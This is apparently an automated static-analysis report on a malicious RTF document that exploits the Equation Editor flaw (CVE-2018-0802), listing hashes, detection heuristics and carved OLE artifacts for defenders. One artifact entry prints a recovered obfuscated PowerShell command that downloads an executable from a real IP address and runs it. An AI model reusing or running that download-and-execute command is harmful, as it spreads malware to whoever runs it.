Malicious RTF — malware analysis report

Static analysis result for SHA-256 55a509eb7bed9f15…

MALICIOUS

RTF

10.9 KB First seen: 2019-09-30
MD5: 64fe9c1895f0b7e1ab6b681d483bccb6 SHA-1: 365ad876ae850475f169126ce830607ec9272666 SHA-256: 55a509eb7bed9f15202798ec2ac323b72a8b2229c78f78d5bbf29d8d4addb8c4
282 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and specifically targets the Equation Editor, indicating an attempt to exploit CVE-2018-0802. The heuristic firings and the presence of embedded URLs suggest that the document is designed to lure the user into enabling editing, which then triggers the exploit to download and execute a secondary payload from the provided URLs.

Heuristics 8

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 3 \objdata section(s) — embedded OLE objects
  • OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM
    RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://213.159.213.195/2.exe In RTF body
    • http://213.159.213In RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000000fa.bin rtf-objdata-decoded RTF \objdata at offset 0xFA 480 bytes
SHA-256: 3eae2f16ab541e2712cdfe0812823b5f5eb6f8633787959a18de2d07d3a50bc4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://213.159.213.195/2.exe Static shellcode analysis recovered command string(s): PoWerShELL ""function abc([String] $vvd){(New-Object System.Net.WebClient).downLoadFile($vvd,'%TEMP%\tte.exe');staRt-pRoCeSS '%TEMP%\tte.exe';}try{abc('http://213.159.213
objdata_01_off0000057e.bin rtf-objdata-decoded RTF \objdata at offset 0x57E 4681 bytes
SHA-256: 316630d45e21a222a2b8cf56c00fb120dcc76a016e6bb254df424bf195ae4066

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